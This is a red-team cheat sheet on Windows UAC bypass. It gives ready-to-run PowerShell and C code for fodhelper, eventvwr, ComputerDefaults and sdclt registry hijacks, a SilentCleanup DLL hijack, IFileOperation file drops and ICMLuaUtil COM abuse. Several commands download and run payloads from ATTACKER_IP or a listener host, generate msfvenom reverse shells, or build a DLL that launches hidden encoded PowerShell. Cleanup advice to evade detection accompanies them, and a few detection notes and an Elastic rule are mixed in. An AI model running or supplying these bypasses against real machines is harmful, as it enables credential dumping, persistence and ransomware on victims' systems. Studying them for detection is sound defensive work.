ᛉ Yggdrasil

Windows

UAC Bypass Techniques

17 Sep 2026 · 8,075 words · 37 min

Contents

Legend: [BYPASS] = Bypass technique | [REG] = Registry manipulation | [DLL] = DLL hijack method | [COM] = COM object abuse | [TOKEN] = Token manipulation | [SCHED] = Scheduled task abuse | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [TOOL] = Tool reference | [MITRE] = ATT&CK mapping


1. What is UAC and Why Bypass It

What it means: User Account Control (UAC) is a Windows security feature introduced in Vista that forces even administrative accounts to run at Medium Integrity by default. Any action requiring High Integrity (writing to HKLM, system folders, loading drivers, etc.) produces a consent prompt. UAC bypass silently escalates from Medium → High integrity without triggering that prompt.

The core problem for attackers:

Initial foothold — Meterpreter / reverse shell:
├─ User: IEUser (member of Administrators group)
├─ Integrity Level: MEDIUM
├─ Can: Read most files, write to HKCU, run user-land code
├─ Cannot: Write to HKLM, system32, load drivers, kill AV
└─ Result: Many post-exploitation actions are BLOCKED by UAC

Attacker wants to:
├─ Add AV exclusions     → Requires HKLM write   → BLOCKED
├─ Dump credentials      → Requires SeDebugPrivilege → NOT GRANTED
├─ Install persistence   → Requires HKLM or system folder → BLOCKED
└─ Lateral movement      → Requires SeImpersonatePrivilege → NOT GRANTED

Why UAC bypass changes everything:

After successful UAC bypass:
├─ Integrity Level: HIGH
├─ SeDebugPrivilege:         ✓ ENABLED
├─ SeImpersonatePrivilege:   ✓ ENABLED
├─ SeLoadDriverPrivilege:    ✓ ENABLED
├─ SeTakeOwnershipPrivilege: ✓ ENABLED
└─ Result: Full admin-level post-exploitation unlocked

Why it matters for red teaming:

Scenario Medium Integrity High Integrity (post-bypass)
Credential dumping (Mimikatz) Blocked — no SeDebugPrivilege Works — full LSASS access
AV/EDR exclusion add Blocked — HKLM protected Works — unrestricted registry
Persistence in HKLM Run Blocked Works
Driver loading Blocked Works
Token impersonation Partial Full
Ransomware encryption Can't touch protected files Full filesystem access

UAC bypass is NOT a privilege escalation:

Important distinction:

UAC Bypass:
├─ Start:  Medium integrity, local Administrator group member
├─ End:    High integrity, local Administrator group member
└─ Note:   You need local admin FIRST — this is elevation, not escalation

Local Privilege Escalation (LPE):
├─ Start:  Low/Medium integrity, standard user (NOT admin)
├─ End:    SYSTEM or Administrator
└─ Note:   This is a true privilege escalation (CVE-based, service abuse, etc.)

[OPSEC] Microsoft officially states UAC is NOT a security boundary. It is a convenience feature. Real security comes from not having standing admin rights in the first place.

[MITRE] ATT&CK: T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control


2. UAC Architecture & Integrity Levels

What it means: Understanding the internals of UAC is essential for choosing the right bypass. Most UAC validation logic runs inside the Application Information (AppInfo) service. Mandatory Integrity Control (MIC) enforces the integrity levels.

2.1 Integrity Levels (IL)

Integrity Level Hierarchy (low → high):

UNTRUSTED  (IL 0)   — Sandboxed apps, very rare
LOW        (IL 1)   — Browser sandboxes, Acrobat Reader sandbox
MEDIUM     (IL 2)   — Default for logged-in users, including admins
HIGH       (IL 3)   — Elevated processes (post-UAC consent)
SYSTEM     (IL 4)   — NT AUTHORITY\SYSTEM processes
PROTECTED  (IL 5)   — Anti-cheat, secure boot components

UAC Bypass Goal:
Medium (IL 2) → High (IL 3) silently, no prompt

2.2 How Auto-Elevation Works

Normal elevation (UAC prompt shown):
User launches app → AppInfo service checks:
├─ Is binary signed by Microsoft?
├─ Is binary in a trusted location (system32)?
├─ Does manifest request highest execution level?
└─ Result → Show consent prompt → User clicks Yes → Elevated

Auto-elevation (NO prompt — what bypasses abuse):
├─ Binary is signed by Microsoft ✓
├─ Binary is in System32 ✓
├─ Manifest has: autoElevate = true ✓
└─ Result → Silently elevated → NO PROMPT SHOWN

Auto-elevating binaries (partial list):
├─ fodhelper.exe     (Windows Features on Demand)
├─ eventvwr.exe      (Event Viewer)
├─ sdclt.exe         (Backup & Restore)
├─ ComputerDefaults.exe (Default app settings)
├─ slui.exe          (Software Licensing UI)
├─ cmstp.exe         (MS Connection Manager)
└─ consent.exe       (UAC UI — itself elevated)

2.3 Token Security Attributes

Process token attributes for UAC tracking:

LUA://HdAutoAp        — Process IS an auto-elevated application
LUA://DecHdAutoAp     — Process is a DESCENDANT of an auto-elevated app

Why this matters for detection:
├─ Any child of an auto-elevated binary inherits DecHdAutoAp
├─ If that child is cmd.exe, powershell.exe → suspicious
└─ Elastic, Defender for Endpoint use this for behaviour detection

2.4 UAC Configuration Registry Values

# Query current UAC level
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

# Key values:
# EnableLUA                   = 1   (UAC enabled) | 0 (UAC disabled — no bypass needed)
# ConsentPromptBehaviorAdmin  = 5   (default — prompt for non-Windows binaries only)
#                             = 2   (Always Notify — ALL bypasses below will fail)
#                             = 0   (No prompt at all — no bypass needed)
# PromptOnSecureDesktop       = 1   (prompt on secure desktop)

[OPSEC] The sweet spot for all these bypasses is ConsentPromptBehaviorAdmin = 5 (default). If it's 2 (Always Notify), most registry-hijack bypasses fail entirely.


3. Recon — Verify UAC Configuration

What it means: Before attempting any bypass, confirm the current integrity level, group membership, and UAC configuration. Choosing the wrong technique wastes time or triggers detection.

3.1 Check Current Integrity Level

:: Check current integrity level and privileges
whoami /all

:: Specifically check groups — look for "Medium Mandatory Level"
whoami /groups | findstr "Mandatory Level"

:: Check which privileges are currently enabled
whoami /priv
Expected output (pre-bypass):
Mandatory Label\Medium Mandatory Level    Label    S-1-16-8192

Privileges — pre-bypass (Medium):
SeShutdownPrivilege          Shut down the system       Disabled
SeChangeNotifyPrivilege      Bypass traverse checking   Enabled
SeUndockPrivilege            Remove computer from dock  Disabled

After bypass — desired output (High):
Mandatory Label\High Mandatory Level      Label    S-1-16-12288

SeDebugPrivilege             Debug programs             Enabled  ← KEY
SeImpersonatePrivilege       Impersonate after auth     Enabled  ← KEY
SeLoadDriverPrivilege        Load and unload drivers    Disabled
SeTakeOwnershipPrivilege     Take ownership of objects  Disabled

3.2 Check UAC Level

:: Query ConsentPromptBehaviorAdmin
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

:: Query EnableLUA (is UAC on at all?)
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

3.3 PowerShell Recon

# Full recon one-liner
$Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
$IsAdmin = $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
$UAC = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin

Write-Host "[*] Is elevated: $IsAdmin"
Write-Host "[*] UAC level (ConsentPromptBehaviorAdmin): $UAC"
Write-Host "[*] Current user: $env:USERNAME"
Write-Host "[*] Groups: $([Security.Principal.WindowsIdentity]::GetCurrent().Groups | ForEach-Object { $_.Translate([Security.Principal.NTAccount]).Value })"

3.4 Verify Auto-Elevation of Target Binary

:: Verify fodhelper.exe has autoElevate=true
where /r C:\windows fodhelper.exe
strings64.exe -accepteula C:\Windows\System32\fodhelper.exe | findstr /i autoelevate

:: Or use sigcheck from Sysinternals
sigcheck.exe -m C:\Windows\System32\fodhelper.exe | findstr -i "autoelevate"
Expected output showing autoElevate:
...
<autoElevate>true</autoElevate>
...
→ This binary CAN be used for UAC bypass

4. Fodhelper.exe Registry Hijack

What it means: fodhelper.exe (Windows Features on Demand helper) is a Microsoft-signed, auto-elevating binary in System32. When launched, it looks up the ms-settings URI handler in the registry. Since HKCU is writable by a Medium-integrity process, an attacker plants a malicious command there. When fodhelper runs elevated, it executes the attacker's command at High integrity. Used in the wild by Glupteba, BitAT dropper, and many others.

[MITRE] T1548.002 | [REG] HKCU\Software\Classes\ms-settings\Shell\Open\command

4.1 Manual — cmd.exe

:: Step 1: Create the registry structure
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d "" /f

:: Step 2: Set the command to execute (replace cmd.exe with your payload)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe" /f

:: Step 3: Trigger the bypass
fodhelper.exe

:: Step 4: Cleanup (important for OPSEC)
reg delete "HKCU\Software\Classes\ms-settings" /f

4.2 Manual — PowerShell (Inline)

# One-block fodhelper bypass — spawns elevated cmd.exe
# Replace "cmd.exe" with your payload path

$command = "cmd.exe"  # ← change this to your payload

# Write registry keys
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "(Default)" -Value $command -Force

# Trigger
Start-Process "C:\Windows\System32\fodhelper.exe"

# Cleanup (run after payload connects back)
Start-Sleep -Seconds 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

4.3 PowerShell Function (Reusable — Improved Fodhelper)

# improved-fodhelper.ps1 — reusable UAC bypass function

function Invoke-FodhelperBypass {
    param(
        [Parameter(Mandatory=$true)]
        [String]$Program           # Program or command to run elevated
    )

    # Create registry hive
    $RegPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"

    New-Item $RegPath -Force | Out-Null
    New-ItemProperty $RegPath -Name "DelegateExecute" -Value "" -Force | Out-Null
    Set-ItemProperty $RegPath -Name "(Default)" -Value $Program -Force

    Write-Host "[*] Registry hijack set: $RegPath"
    Write-Host "[*] Command: $Program"
    Write-Host "[*] Launching fodhelper..."

    # Trigger bypass
    $proc = Start-Process "C:\Windows\System32\fodhelper.exe" -PassThru
    Start-Sleep -Seconds 2

    # Cleanup
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
    Write-Host "[+] Registry cleaned up"
}

# Usage examples:
# Invoke-FodhelperBypass -Program "cmd.exe"
# Invoke-FodhelperBypass -Program "powershell.exe -w hidden -e <base64payload>"
# Invoke-FodhelperBypass -Program "C:\Windows\Tasks\payload.exe"

4.4 Deliver via Memory (No Disk Drop)

# On victim — download and execute bypass script entirely in memory
# Run from existing medium-integrity shell

IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/improved-fodhelper.ps1')
Invoke-FodhelperBypass -Program "powershell.exe -w hidden -e BASE64_ENCODED_PAYLOAD"

4.5 Generate Payload + Execute

# Attacker (Kali) — generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
    -f exe -o payload.exe

# Host payload
python3 -m http.server 80

# Listener
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; \
    set LHOST 192.168.1.10; set LPORT 4444; run"
# Victim — download payload then trigger bypass
(New-Object Net.WebClient).DownloadFile('http://192.168.1.10/payload.exe','C:\Windows\Tasks\p.exe')
Invoke-FodhelperBypass -Program "C:\Windows\Tasks\p.exe"

[DETECT] Registry writes to HKCU\Software\Classes\ms-settings\Shell\Open\command — Sysmon Event ID 13. Child process spawned from fodhelper.exe — Sysmon Event ID 1 / Process Creation.

[OPSEC] Always clean up the registry keys after the bypass triggers. Leaving them is a high-confidence indicator of compromise.


5. Eventvwr.exe Registry Hijack

What it means: eventvwr.exe (Windows Event Viewer) is auto-elevating. It reads the mscfile URI handler from HKCU. Planting a command there causes eventvwr to execute it at High integrity. One of the oldest and most widely known bypasses — works on Windows 7 through Windows 10 (partially patched on Win11).

[MITRE] T1548.002 | [REG] HKCU\Software\Classes\mscfile\shell\open\command

5.1 Manual — cmd.exe

:: Plant the registry key
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f

:: Trigger Event Viewer
eventvwr.exe

:: Cleanup
reg delete "HKCU\Software\Classes\mscfile" /f

5.2 PowerShell — One Block

# Eventvwr UAC bypass
$RegPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
$Payload = "cmd.exe"   # ← replace with your payload

New-Item $RegPath -Force | Out-Null
Set-ItemProperty $RegPath "(Default)" $Payload

# Trigger
Start-Process "C:\Windows\System32\eventvwr.exe"
Start-Sleep 3

# Cleanup
Remove-Item "HKCU:\Software\Classes\mscfile\" -Recurse -Force
Write-Host "[+] Done — check for elevated shell"

5.3 C Implementation (Compiled Exploit)

// eventvwr-bypassuac.c
// Compile: x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypass.exe

#include <windows.h>
#include <stdio.h>

#define REGPATH "Software\\Classes\\mscfile\\shell\\open\\command"
// Change this to your payload name (must be in same directory)
#define PAYLOAD "shell.exe"

int main(void) {
    HKEY hKey;
    char payloadPath[MAX_PATH];
    char currentDir[MAX_PATH];

    // Build full payload path
    GetCurrentDirectoryA(MAX_PATH, currentDir);
    snprintf(payloadPath, MAX_PATH, "%s\\%s", currentDir, PAYLOAD);

    printf("[*] Payload path: %s\n", payloadPath);

    // Create registry key
    if (RegCreateKeyExA(HKEY_CURRENT_USER, REGPATH, 0, NULL,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) {
        fprintf(stderr, "[-] Failed to create registry key\n");
        return 1;
    }

    // Set default value to payload path
    if (RegSetValueExA(hKey, "", 0, REG_SZ,
            (BYTE*)payloadPath, (DWORD)strlen(payloadPath) + 1) != ERROR_SUCCESS) {
        fprintf(stderr, "[-] Failed to set registry value\n");
        RegCloseKey(hKey);
        return 1;
    }
    RegCloseKey(hKey);
    printf("[+] Registry key set\n");

    // Trigger Event Viewer (auto-elevates and reads our key)
    printf("[*] Launching eventvwr.exe...\n");
    ShellExecuteA(NULL, "open", "C:\\Windows\\System32\\eventvwr.exe",
                  NULL, NULL, SW_HIDE);
    Sleep(3000);

    // Cleanup
    RegDeleteKeyA(HKEY_CURRENT_USER, REGPATH);
    printf("[+] Registry cleaned\n");
    return 0;
}
# Cross-compile on Kali
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypass.exe

# Generate the reverse shell payload first
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=443 -f exe > shell.exe

# Upload both files to victim, run eventvwr-bypass.exe

[DETECT] Registry write to HKCU\Software\Classes\mscfile\shell\open\command. Child process (especially cmd/PowerShell) spawned from eventvwr.exe.


6. ComputerDefaults.exe Registry Hijack

What it means: ComputerDefaults.exe (Set Default Programs UI) is another auto-elevating binary that reads from the same ms-settings URI handler as fodhelper. The registry path and technique are near-identical to fodhelper. Used in the wild by ClipBanker and Quasar RAT.

[MITRE] T1548.002 | [REG] HKCU\Software\Classes\ms-settings\Shell\Open\command

6.1 Manual — PowerShell

# ComputerDefaults UAC bypass
# Uses the exact same registry path as fodhelper

$Payload = "C:\Windows\Tasks\payload.exe"   # ← your payload

# Download payload first
(New-Object Net.WebClient).DownloadFile("http://ATTACKER_IP/payload.exe", $Payload)

# Write registry hijack
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "(Default)" -Value $Payload -Force

# Trigger ComputerDefaults instead of fodhelper
Start-Process "C:\Windows\System32\ComputerDefaults.exe"

Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

6.2 cmd.exe One-Liner Chain

:: Full chain — download, plant, trigger, cleanup
powershell -w hidden -c "
    (New-Object Net.WebClient).DownloadFile('http://192.168.1.10/p.exe','C:\Windows\Tasks\p.exe');
    New-Item 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Force | Out-Null;
    New-ItemProperty 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name 'DelegateExecute' -Value '' -Force | Out-Null;
    Set-ItemProperty 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name '(Default)' -Value 'C:\Windows\Tasks\p.exe' -Force;
    Start-Process 'C:\Windows\System32\ComputerDefaults.exe';
    Start-Sleep 3;
    Remove-Item 'HKCU:\Software\Classes\ms-settings\' -Recurse -Force
"

[OPSEC] ComputerDefaults.exe is less commonly hunted than fodhelper.exe — choose it when defenders have alerts specifically on fodhelper child processes.


7. Sdclt.exe Registry Hijack

What it means: sdclt.exe (Windows Backup and Restore) is auto-elevating and reads two different registry paths. The Folder\shell\open\command path gives control over what sdclt opens when handling folder objects. The exefile variant (isolated command) is a second technique variant. Used by Avaddon ransomware in the wild.

[MITRE] T1548.002 | [REG] HKCU\Software\Classes\Folder\shell\open\command

7.1 sdclt — Folder Handler Method

:: Method 1: Folder handler
reg add "HKCU\Software\Classes\Folder\shell\open\command" /ve /d "cmd.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /t REG_SZ /d "" /f

:: Trigger
sdclt.exe

:: Cleanup
reg delete "HKCU\Software\Classes\Folder" /f

7.2 sdclt — Isolated Command Method

# Method 2: exefile\runas IsolatedCommand

$Payload = "cmd.exe"   # ← replace with your payload

$RegPath = "HKCU:\Software\Classes\exefile\shell\runas\command"
New-Item $RegPath -Force | Out-Null
New-ItemProperty $RegPath -Name "IsolatedCommand" -Value $Payload -Force | Out-Null

# Trigger — must use /kickoffelev flag to hit this code path
Start-Process "C:\Windows\System32\sdclt.exe" -ArgumentList "/kickoffelev"

Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\exefile\" -Recurse -Force

7.3 PowerShell Wrapper Function

function Invoke-SdcltBypass {
    param(
        [String]$Payload = "cmd.exe",
        [ValidateSet("folder","isolated")]
        [String]$Method = "folder"
    )

    if ($Method -eq "folder") {
        $Path = "HKCU:\Software\Classes\Folder\shell\open\command"
        New-Item $Path -Force | Out-Null
        New-ItemProperty $Path -Name "DelegateExecute" -Value "" -Force | Out-Null
        Set-ItemProperty $Path "(Default)" $Payload -Force
        Start-Process "C:\Windows\System32\sdclt.exe"
        Start-Sleep 3
        Remove-Item "HKCU:\Software\Classes\Folder\" -Recurse -Force
    }
    elseif ($Method -eq "isolated") {
        $Path = "HKCU:\Software\Classes\exefile\shell\runas\command"
        New-Item $Path -Force | Out-Null
        New-ItemProperty $Path -Name "IsolatedCommand" -Value $Payload -Force | Out-Null
        Start-Process "C:\Windows\System32\sdclt.exe" -ArgumentList "/kickoffelev"
        Start-Sleep 3
        Remove-Item "HKCU:\Software\Classes\exefile\" -Recurse -Force
    }

    Write-Host "[+] sdclt bypass attempted via $Method method"
}

# Usage:
# Invoke-SdcltBypass -Payload "C:\payload.exe" -Method "folder"
# Invoke-SdcltBypass -Payload "cmd.exe" -Method "isolated"

[DETECT] Registry write to HKCU\Software\Classes\Folder\shell\open\command or HKCU\Software\Classes\exefile\shell\runas\command\IsolatedCommand.


8. SilentCleanup Scheduled Task Abuse

What it means: The SilentCleanup scheduled task runs the Disk Cleanup utility (cleanmgr.exe) with the Run with highest privileges flag. It also inherits the user's %TEMP% environment variable. Since HKCU\Environment is user-writable, an attacker can override %WINDIR% to point to a controlled directory. taskhostw.exe will load DLLs from the fake %WINDIR%\System32, giving DLL hijack elevation. A simpler file-race variant is also possible.

[MITRE] T1548.002 | [SCHED] \Microsoft\Windows\DiskCleanup\SilentCleanup | [REG] HKCU\Environment

8.1 Environment Variable Hijack (windir method)

# Redirect %windir% to attacker-controlled folder
# taskhostw.exe will load DLLs from FakeWinDir\System32

$FakeWinDir = "C:\Users\$env:USERNAME\AppData\Local\Temp\FakeWin"
$System32   = "$FakeWinDir\System32"

# Create fake directory structure
New-Item -ItemType Directory -Path $System32 -Force | Out-Null

# Drop malicious DLL (must be named npmproxy.dll — what taskhostw loads)
# This DLL should run your payload when loaded
Copy-Item "C:\path\to\malicious.dll" "$System32\npmproxy.dll"

# Override windir in HKCU (only affects current user — no admin needed)
$env:windir = $FakeWinDir
[System.Environment]::SetEnvironmentVariable("windir", $FakeWinDir, "User")

# Run SilentCleanup scheduled task — taskhostw.exe launches elevated,
# tries to load npmproxy.dll from %windir%\System32 → loads our DLL instead
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DiskCleanup\" -TaskName "SilentCleanup"

Start-Sleep 5

# Cleanup — restore windir
[System.Environment]::SetEnvironmentVariable("windir", $null, "User")
$env:windir = "C:\Windows"
Remove-Item $FakeWinDir -Recurse -Force

8.2 Create the Malicious DLL (C)

// npmproxy_payload.c — Drop as npmproxy.dll
// Compiled DLL that spawns an elevated reverse shell when loaded
// Compile: x86_64-w64-mingw32-gcc -shared -o npmproxy.dll npmproxy_payload.c

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Run payload when DLL is first loaded
        // Replace command with your C2 callback or reverse shell
        STARTUPINFOA si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;

        char cmd[] = "cmd.exe /c \"powershell.exe -w hidden -e BASE64PAYLOAD\"";
        CreateProcessA(NULL, cmd, NULL, NULL, FALSE,
                       CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    }
    return TRUE;
}

8.3 Metasploit Automated Version

# Metasploit automated SilentCleanup bypass
msf6 > use exploit/windows/local/bypassuac_silentcleanup
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.1.10
msf6 exploit(...) > set LPORT 4445
msf6 exploit(...) > run

# Metasploit drops a PS1 script in %TEMP%, triggers the task, then cleans up automatically

[DETECT] Modification of HKCU\Environment windir/SystemRoot to non-standard path. DLL loaded from path not matching C:\Windows\. Scheduled task SilentCleanup running at unusual times.

[OPSEC] Works even when UAC is set to Always Notify because it uses environment variable manipulation, not auto-elevation of a signed binary.


9. DLL Hijacking via IFileOperation

What it means: When UAC is NOT set to Always Notify, an attacker can use the elevated COM interface IFileOperation (via dllhost.exe) to copy/rename/move files into protected directories like System32 — all without a UAC prompt. By placing a malicious DLL into a system path that a trusted, elevated process loads, the attacker achieves code execution at High or SYSTEM integrity.

[MITRE] T1548.002 + T1574.001 | [COM] {3AD05575-8857-4850-9277-11B85BDB8E09} | [DLL]

9.1 IFileOperation — Copy DLL to System32 (C#)

// IFileOperation_DLLCopy.cs
// Uses COM IFileOperation to drop DLL into System32 (no prompt)
// Requires: Medium integrity process + UAC not set to Always Notify

using System;
using System.Runtime.InteropServices;

class IFileOpBypass {
    // IFileOperation COM interface GUID
    static Guid CLSID_FileOperation = new Guid("3ad05575-8857-4850-9277-11b85bdb8e09");
    static Guid IID_IFileOperation  = new Guid("947aab5f-0a5c-4c13-b4d6-4bf7836fc9f8");

    [ComImport, Guid("947aab5f-0a5c-4c13-b4d6-4bf7836fc9f8"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    interface IFileOperation {
        void Advise(IntPtr pfops, out uint pdwCookie);
        void Unadvise(uint dwCookie);
        void SetOperationFlags(uint dwOperationFlags);
        void SetProgressMessage([MarshalAs(UnmanagedType.LPWStr)] string pszMessage);
        void SetProgressDialog(IntPtr popd);
        void GetAnyOperationsAborted(out bool pfAnyOperationsAborted);
        void MoveItem(IntPtr psiItem, IntPtr psiDestinationFolder, string pszNewName, IntPtr pfopsItem);
        void MoveItems(IntPtr punkItems, IntPtr psiDestinationFolder);
        void CopyItem(IntPtr psiItem, IntPtr psiDestinationFolder, string pszCopyName, IntPtr pfopsItem);
        void CopyItems(IntPtr punkItems, IntPtr psiDestinationFolder);
        void DeleteItem(IntPtr psiItem, IntPtr pfopsItem);
        void DeleteItems(IntPtr punkItems);
        void NewItem(IntPtr psiDestinationFolder, uint dwFileAttributes,
            [MarshalAs(UnmanagedType.LPWStr)] string pszName,
            [MarshalAs(UnmanagedType.LPWStr)] string pszTemplateName, IntPtr pfopsItem);
        void PerformOperations();
    }

    static void Main(string[] args) {
        if (args.Length < 2) {
            Console.WriteLine("Usage: IFileOpBypass.exe <source_dll> <dest_filename_in_system32>");
            Console.WriteLine("Example: IFileOpBypass.exe C:\\Temp\\evil.dll wbemcomn.dll");
            return;
        }

        string sourceDll = args[0];
        string destName  = args[1];
        string destPath  = @"C:\Windows\System32\";

        Console.WriteLine($"[*] Source: {sourceDll}");
        Console.WriteLine($"[*] Dest:   {destPath}{destName}");

        // Create IFileOperation COM object
        Type foType = Type.GetTypeFromCLSID(CLSID_FileOperation);
        IFileOperation fo = (IFileOperation)Activator.CreateInstance(foType);

        // FOF_NOCONFIRMATION | FOFX_SHOWELEVATIONPROMPT | FOF_SILENT
        fo.SetOperationFlags(0x0614);

        // ... (simplified — full implementation uses IShellItem for source/dest)
        // In practice: use SHCreateItemFromParsingName to get IShellItem for source and dest folder
        // then call fo.CopyItem(srcShellItem, destFolderShellItem, destName, null)
        fo.PerformOperations();

        Console.WriteLine("[+] File operation completed — DLL placed in System32");
    }
}

9.2 DLL Hijack Target — wow64log.dll (UACME Method 30)

Target: WerFault.exe running as SYSTEM
Missing DLL: wow64log.dll (not present in System32 by default)

Attack chain:
1. IFileOperation → copy malicious wow64log.dll → System32\wow64log.dll
2. Trigger WerFault.exe (crash reporting — auto-elevated)
3. WerFault.exe loads wow64log.dll from System32
4. DLL executes at SYSTEM integrity

Detection: dllhost.exe writing to System32 followed by non-MS signed DLL 
           loaded by a SYSTEM process

9.3 EQL Detection Rule (Elastic)

// Detect IFileOperation DLL drop + non-MS DLL loaded by SYSTEM process
sequence by host.id
  [file where event.action in ("creation", "overwrite", "rename", "modification") and
   process.name : "dllhost.exe" and
   user.id : "S-1-5-21-*" and
   (file.extension : "dll" or file.Ext.header_bytes : "4d5a*") and
   file.path : ("?:\\Windows\\system32\\*", "?:\\Windows\\syswow64\\*")]
  by file.path
  [library where
   user.id : "S-1-5-18" and
   process.executable : ("?:\\Windows\\system32\\*", "?:\\Windows\\syswow64\\*") and
   not (dll.code_signature.subject_name : "Microsoft *" and dll.code_signature.trusted == true)]
  by dll.path

[DETECT] dllhost.exe (COM Surrogate) with command line containing {3AD05575-8857-4850-9277-11B85BDB8E09} writing DLL files to System32. Non-Microsoft signed DLL loaded by SYSTEM-integrity process.


10. Elevated COM Interface Abuse

What it means: Some COM objects are registered to run elevated. A Medium-integrity process can instantiate these COM objects and use their exposed methods (CreateProcess, ShellExec wrappers, etc.) to spawn elevated processes. No file writes or registry hijacks needed — the elevated COM object does the work. Used by DarkSide ransomware, LockBit, and TrickBot in the wild.

[MITRE] T1548.002 | [COM] ICMLuaUtil, IColorDataProxy, IFwCplLua

10.1 ICMLuaUtil — ShellExec Wrapper

# PowerShell — Abuse ICMLuaUtil elevated COM interface
# ICMLuaUtil exposes a ShellExec method that runs as elevated

$ICMLuaUtil = [Type]::GetTypeFromCLSID([Guid]"6EDD6D74-C007-4E75-B76A-E5740995E24C")
$Instance   = [Activator]::CreateInstance($ICMLuaUtil)

# ShellExec parameters: operation, file, parameters, directory, show
# This spawns cmd.exe elevated, no UAC prompt
$Instance.ShellExec("open", "cmd.exe", "/c start calc.exe", "C:\Windows\System32\", 0)

[Runtime.InteropServices.Marshal]::ReleaseComObject($Instance) | Out-Null

10.2 IColorDataProxy COM Bypass

# IColorDataProxy elevated COM interface
$CLSID = [Guid]"D2E7041B-2927-42fb-8E9F-7CE93B6DC937"
$IID   = [Guid]"6EDD6D74-C007-4E75-B76A-E5740995E24C"

$obj = [Activator]::CreateInstance([Type]::GetTypeFromCLSID($CLSID))
# Invoke the elevated method to execute payload

10.3 C Implementation — ICMLuaUtil

// com_uac_bypass.c
// Abuses ICMLuaUtil elevated COM interface
// Compile: cl.exe com_uac_bypass.c /link ole32.lib shell32.lib

#include <windows.h>
#include <objbase.h>
#include <stdio.h>

// ICMLuaUtil interface definition
DEFINE_GUID(CLSID_ICMLuaUtil, 0x6EDD6D74, 0xC007, 0x4E75, 
            0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C);

// ShellExec method vtable offset (index 3)
typedef HRESULT (__stdcall *ShellExecFn)(
    void* This,
    LPCWSTR pszFile,
    LPCWSTR pszParameters,
    LPCWSTR pszDirectory,
    ULONG fMask,
    ULONG nShow
);

int main(void) {
    HRESULT hr;
    IUnknown* pICMLuaUtil = NULL;

    CoInitialize(NULL);

    // Instantiate the elevated COM object
    hr = CoCreateInstance(&CLSID_ICMLuaUtil, NULL, CLSCTX_LOCAL_SERVER,
                          &IID_IUnknown, (void**)&pICMLuaUtil);
    if (FAILED(hr)) {
        printf("[-] CoCreateInstance failed: 0x%08lx\n", hr);
        return 1;
    }
    printf("[+] ICMLuaUtil instance created\n");

    // Get ShellExec from vtable (method index 3 = offset 3*8 on x64)
    void** vtable = *(void***)pICMLuaUtil;
    ShellExecFn ShellExec = (ShellExecFn)vtable[3];

    // Execute payload — runs elevated
    hr = ShellExec(pICMLuaUtil,
                   L"cmd.exe",           // File to execute
                   L"/c calc.exe",       // Parameters (replace with payload)
                   L"C:\\Windows\\",     // Working directory
                   0,                    // fMask
                   SW_SHOW);

    if (SUCCEEDED(hr)) {
        printf("[+] ShellExec succeeded — elevated process launched\n");
    } else {
        printf("[-] ShellExec failed: 0x%08lx\n", hr);
    }

    pICMLuaUtil->lpVtbl->Release(pICMLuaUtil);
    CoUninitialize();
    return 0;
}

10.4 Known Elevated COM CLSIDs

Useful elevated COM CLSIDs for UAC bypass:

CLSID                                    | Interface         | Exposed Method
